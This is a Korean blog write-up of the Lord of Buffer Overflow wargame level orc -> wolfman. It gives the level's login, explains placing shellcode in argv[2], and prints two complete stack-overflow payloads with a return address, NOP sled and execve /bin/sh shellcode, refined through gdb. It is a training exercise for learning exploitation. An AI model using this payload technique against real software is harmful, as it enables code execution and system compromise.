LOB orc -> wolfman
ID : orc
Passwd : cantata
접속해서 ls 명령어로 파일과 디렉터리를 확인합니다.
cat 명령어로 code를 확인합니다.
buffer 부분을 0으로 초기화 하는 코드가 있지만 goblin에서 buffer를 쓰지 않았기 때문에 argv[2]를 이용해서 payload를 구성하도록 하겠습니다.
goblin Write Up -> https://jaemin8852.tistory.com/40
argv[2]의 시작 주소를 찾기 위해 tmp를 만들고 원본 파일을 tmp에 복사합니다.
payload : ./wolfman `python –c ‘print “A”*44 + “\xbf\xbf\xbf\xbf"’` `python –c ‘print “\x90”*100 +"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"’`
core 파일이 나왔습니다. gdb로 확인해보도록 하겠습니다.
저 부분이 argv[2] 이겠죠?
Return Address 부분을 바꿔서 다시 공격해보겠습니다.
payload : ./wolfman `python –c ‘print “A”*44 + “\xe0\xfb\xff\xbf"’` `python –c ‘print “\x90”*100 +"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"’`
원본 파일에 입력하겠습니다.
exploit!
감사합니다.
'System&Write up > LOB' 카테고리의 다른 글
LOB darkelf -> orge Write up (0) | 2017.10.09 |
---|---|
LOB wolfman -> darkelf Write up (0) | 2017.10.07 |
LOB goblin -> orc Write up (0) | 2017.10.03 |
LOB cobolt -> goblin Write up (0) | 2017.10.03 |
LOB gremlin -> cobolt Write up (0) | 2017.10.03 |